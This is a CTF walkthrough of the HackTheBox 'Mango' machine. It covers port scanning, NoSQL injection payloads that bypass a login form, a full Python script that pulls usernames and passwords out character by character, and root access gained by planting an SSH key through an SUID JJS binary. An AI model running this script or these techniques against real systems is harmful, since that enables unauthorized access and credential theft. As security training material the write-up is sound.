How to detect and exploit NoSQL vulnerabilities? This article will walk you through the penetration testing process, based on the real-life challenge “Mango” from HackTheBox. You will learn how to use port scanners like masscan and nmap, how to find weaknesses in login forms, and how to use NoSQL injections to gain access to a system.
This article discusses the exploitation of NoSQL injection in the form of authorization and privilege escalation using JJS.
The connection to the lab is via VPN. For security reasons, it is recommended to use a separate computer or environment that does not contain sensitive data, as the connection is to a private network where experienced information security professionals are located.
This machine has an IP address of 10.10.10.162, which we add to /etc/hosts.
10.10.10.162 mango.htb
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.162 --rate=1000
To get more detailed information about the services running on the ports, run the scan with the -A option.
nmap -A mango.htb -p22,80,443
First, the website is checked. When accessing mango.htb, a redirection occurs from HTTP to HTTPS, where a warning about a problem with the certificate appears. After accepting the risks, it becomes possible to view the page content.
However, nothing else interesting was found on the site. The nmap scan results contain information about ssl-cert, where the domain is specified. For further work, we add this domain to the /etc/hosts file.
10.10.10.162 staging-order.mango.htb
І зайдемо глянути, що там.
There is an authorization form here – a possible entry point.
After receiving a successful true result for the second condition, a redirection occurs to the home.php page, confirming the successful execution of the NoSQL injection.
Since there is nothing interesting on the page, the only thing that can be obtained from this vulnerability are logins and passwords.
To determine the maximum length of logins and passwords, you can use the following constructs:
For login: login[$regex]=.{length}&password[$ne]=123, which allows you to perform a regular expression comparison for the login while also checking that the password is incorrect.
For password: login[$ne]=123; password[$regex]=.{length}, which allows you to check the maximum length of the password, provided that the login is incorrect.
These queries can be automated using Burp Intruder to quickly test different lengths and get the information you need.
Thus, the maximum length of a login is 5 characters. Having performed the same operations for the password, we determine that the maximum length of a password is 16 characters.
Since manually iterating through the options is too time-consuming, you can create a Python script to automate this process. First, let’s set up a session to work with web queries.
import string import requests alfa = string.printable URL = 'http://staging-order.mango.htb' r = requests.session() ans = r.get(URL) r.headers = {"Content-Type":"application/x-www-form-urlencoded"} logins = []
Next, a function for searching logins is implemented. The search will be performed using the regular expression ^name.*, which allows extracting one character at a time.
def logins_find(login): is_find = False for char in alfa[:62]: data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char) resp = r.post(URL, data=data) print('login: %s ' % (login+char), end='\r') if len(resp.history): is_find = True logins_find(login+char) if not is_find: print('login found: %s ' % (login)) logins.append(login)
And a similar function only using the found login.
def passwords_find(login, password): is_find = False for char in alfa: if char in ['*','+','.','?','|', '#', '&', '$', '\\']: char = '\\' + char data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char) resp = r.post(URL, data=data) print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r') if len(resp.history): is_find = True passwords_find(login, password+char) if not is_find: print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))
Here is the complete code for iterating through logins using the regular expression ^name.*:
#!/usr/bin/python3 import string import requests alfa = string.printable[:-6] URL = 'http://staging-order.mango.htb' r = requests.session() ans = r.get(URL) r.headers = {"Content-Type":"application/x-www-form-urlencoded"} logins = [] def logins_find(login): is_find = False for char in alfa[:62]: data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char) resp = r.post(URL, data=data) print('login: %s ' % (login+char), end='\r') if len(resp.history): is_find = True logins_find(login+char) if not is_find: print('login found: %s ' % (login)) logins.append(login) def passwords_find(login, password): is_find = False for char in alfa: if char in ['*','+','.','?','|', '#', '&', '$', '\\']: char = '\\' + char data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char) resp = r.post(URL, data=data) print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r') if len(resp.history): is_find = True passwords_find(login, password+char) if not is_find: print("[+] password for %s: %s " % (login, (password+char).replace('\\', ''))) print("SEARCH logins:") logins_find("") print("\nSEARCH passwords:") [ passwords_find(login, "") for login in logins ]
And, as a result, we find the credentials of two users.
With the credentials, we successfully connect to SSH.
Let’s do a basic enumeration using the LinEnum script.
We find the program with the S-bit set.
Let’s check JJS using the example of GTFOBins.
Let’s consider a public key.
Let’s write it down.
And now let’s connect as root.
The article describes the process of exploiting vulnerabilities via NoSQL injection to bypass authorization, determine the maximum lengths of logins and passwords. A Python script is used to automate the brute-force. After that, if SSH connection is not possible, a pair of SSH keys is generated, and the public key is added to /root/.ssh/authorized_keys for access via the private key.